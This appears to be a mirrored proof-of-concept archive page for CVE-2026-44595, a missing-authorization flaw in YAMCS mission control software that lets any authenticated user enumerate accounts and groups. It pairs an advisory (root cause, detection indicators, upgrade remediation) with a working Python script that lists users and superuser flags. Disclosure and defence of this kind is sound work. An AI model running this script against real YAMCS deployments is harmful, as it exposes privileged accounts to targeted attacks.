PoC Archive PoC Archive
Medium CVE-2026-44595 / GHSA-p2rj-mrmc-9w29 patched

YAMCS Unauthorized User Enumeration via IAM API (CVE-2026-44595)

by Daniel Miranda Barcelona (ex-cal1bur) · 2026-07-05

CVSS 4.3/10
Severity
Medium
CVE
CVE-2026-44595 / GHSA-p2rj-mrmc-9w29
Category
web
Affected product
yamcs-core (YAMCS mission control software)
Affected versions
yamcs-core < 5.12.7
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-05
Author / ResearcherDaniel Miranda Barcelona (ex-cal1bur)
CVE / AdvisoryCVE-2026-44595 / GHSA-p2rj-mrmc-9w29
Categoryweb
SeverityMedium
CVSS Score4.3
StatusPoC
Tagsyamcs, iam, missing-authorization, user-enumeration, broken-access-control, api
RelatedCVE-2026-44596

Affected Target

FieldValue
Software / Systemyamcs-core (YAMCS mission control software)
Versions Affectedyamcs-core < 5.12.7
Language / PlatformJava (target), Python 3 (PoC)
Authentication RequiredYes (any authenticated, even zero-privilege, user)
Network Access RequiredYes

Summary

The YAMCS IAM REST API endpoints (listUsers, getUser, listGroups, getGroup) fail to enforce the required SystemPrivilege.ControlAccess authorization check. Any authenticated user, including one with no assigned privileges, can call these endpoints directly and enumerate every user account on the instance, including superuser status, group memberships, and identity provider metadata. The included PoC script demonstrates this by logging in as a low-privilege account and successfully listing all users.


Vulnerability Details

Root Cause

The IAM API handlers for GET /api/iam/users, GET /api/iam/users/{name}, GET /api/iam/groups, and GET /api/iam/groups/{name} omit the SystemPrivilege.ControlAccess check that should gate access to account/group management data. This is a classic CWE-862 (Missing Authorization) — the endpoints authenticate the caller but do not authorize the specific action against the caller’s privileges.

Attack Vector

  1. Attacker obtains any valid, even unprivileged, YAMCS account (self-registration, low-trust operator account, etc.).
  2. Attacker authenticates and requests GET /api/iam/users (and related group endpoints).
  3. The API returns the full list of usernames, superuser flags, and group memberships without checking the caller’s ControlAccess privilege.
  4. Attacker uses this information to identify high-value (superuser) targets for further attacks such as credential stuffing or the companion brute-force vulnerability (CVE-2026-44596).

Impact

Full disclosure of the instance’s user and group topology to any authenticated user, enabling targeted attacks against superuser/operator accounts. YAMCS is used as mission control software in space-mission and ground-station deployments, so exposure of privileged accounts materially increases attack surface against safety/operationally critical systems.


Environment / Lab Setup

Target: yamcs-core < 5.12.7 instance exposing the REST API on e.g. http://localhost:8090
Attacker tooling: Python 3 + `requests` library
Auth: any valid low-privilege account (e.g. testuser/testpassword)

Proof of Concept

PoC Script

See poc.py in this folder.

1
2
pip install requests
python3 poc.py http://localhost:8090 testuser testpassword

Running this against a vulnerable instance logs in as the low-privilege testuser account and successfully calls the IAM listUsers endpoint, printing every account on the instance (including superuser status) despite the caller having no administrative privileges.


Detection & Indicators of Compromise

- Access logs showing non-admin/low-privilege accounts calling
  GET /api/iam/users, /api/iam/users/{name}, /api/iam/groups, /api/iam/groups/{name}.
- Repeated or bulk enumeration requests to IAM endpoints from a single session/account
  shortly followed by authentication attempts against the disclosed usernames.

Signs of compromise:

  • Low-privilege accounts issuing requests to IAM listing/detail endpoints.
  • A spike in authentication attempts against usernames that were only ever disclosed via the IAM API.

Remediation

ActionDetail
Primary fixUpgrade to yamcs-core >= 5.12.7, which enforces the SystemPrivilege.ControlAccess check on all IAM listing/detail endpoints.
Interim mitigationRestrict network access to the YAMCS API to trusted operators only, and monitor/alert on IAM endpoint calls from non-administrative accounts until patched.

References


Notes

Mirrored from https://github.com/ex-cal1bur/CVE-2026-44595 on 2026-07-05.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
#!/usr/bin/env python3
"""
CVE-2026-44595 — YAMCS Unauthorized User Enumeration via IAM API
=================================================================
Vulnerability: IAM API endpoints (listUsers, getUser, listGroups,
               getGroup) do not enforce SystemPrivilege.ControlAccess.
               Any authenticated user can enumerate all accounts.
Impact:        Information disclosure — usernames, superuser status,
               group memberships exposed to low-privilege users.
Affected:      yamcs-core < 5.12.7
Fixed in:      yamcs-core 5.12.7
CWE:           CWE-862 (Missing Authorization)
CVSS:          4.3 MEDIUM
Advisory:      https://github.com/yamcs/yamcs/security/advisories/GHSA-p2rj-mrmc-9w29
Author:        Daniel Miranda Barcelona (Excal1bur)
               https://github.com/ex-cal1bur
=================================================================
"""

import requests
import sys
import json

def check_user_enumeration(target, username, password):
    base = target.rstrip("/")
    session = requests.Session()

    print("=" * 65)
    print(" CVE-2026-44595 — YAMCS IAM User Enumeration PoC")
    print(f" Target:   {target}")
    print(f" Username: {username}")
    print("=" * 65)

    # Step 1: Authenticate as low-privilege user
    print(f"\n[1] Authenticating as low-privilege user '{username}'...")
    try:
        resp = session.post(f"{base}/auth/token",
            data={
                "grant_type": "password",
                "username": username,
                "password": password
            })
        
        if resp.status_code != 200:
            print(f"    [-] Auth failed: HTTP {resp.status_code}")
            print(f"    [*] Start YAMCS and create a test user first")
            print(f"    [*] Or use: yamcsadmin users create testuser --password test")
            return
        
        token = resp.json().get("access_token")
        print(f"    [+] Authenticated. Token: {token[:30]}...")
        headers = {"Authorization": f"Bearer {token}"}

    except Exception as e:
        print(f"    [-] Connection error: {e}")
        return

    # Step 2: List all users (should require ControlAccess privilege)
    print(f"\n[2] Listing ALL users (IAM endpoint)...")
    resp = session.get(f"{base}/api/iam/users", headers=headers)
    print(f"    Status: HTTP {resp.status_code}")

    if resp.status_code == 200:
        users = resp.json().get("users", [])
        print(f"\n    [!!!] VULNERABLE: {len(users)} users enumerated")
        print(f"    [!!!] Low-privilege user can see ALL accounts:\n")
        for u in users:
            superuser = "SUPERUSER" if u.get("superuser") else "regular"
            print(f"    -> {u.get('name', '?')} [{superuser}]")
            if u.get("identities"):
                for identity in u["identities"]:
                    print(f"       provider: {identity.get('provider', '?')}")
    elif resp.status_code == 403:
        print(f"    [+] HTTP 403 — access denied (PATCHED)")
    else:
        print(f"    [?] Unexpected response: {resp.text[:200]}")

    # Step 3: List all groups
    print(f"\n[3] Listing ALL groups (IAM endpoint)...")
    resp = session.get(f"{base}/api/iam/groups", headers=headers)
    print(f"    Status: HTTP {resp.status_code}")

    if resp.status_code == 200:
        groups = resp.json().get("groups", [])
        print(f"\n    [!!!] VULNERABLE: {len(groups)} groups enumerated")
        for g in groups:
            members = len(g.get("members", []))
            print(f"    -> {g.get('name', '?')} ({members} members)")
    elif resp.status_code == 403:
        print(f"    [+] HTTP 403 — access denied (PATCHED)")

    print("\n" + "=" * 65)
    print(" Fix: Upgrade to yamcs-core >= 5.12.7")
    print("=" * 65)


if __name__ == "__main__":
    target   = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
    username = sys.argv[2] if len(sys.argv) > 2 else "testuser"
    password = sys.argv[3] if len(sys.argv) > 3 else "test"

    check_user_enumeration(target, username, password)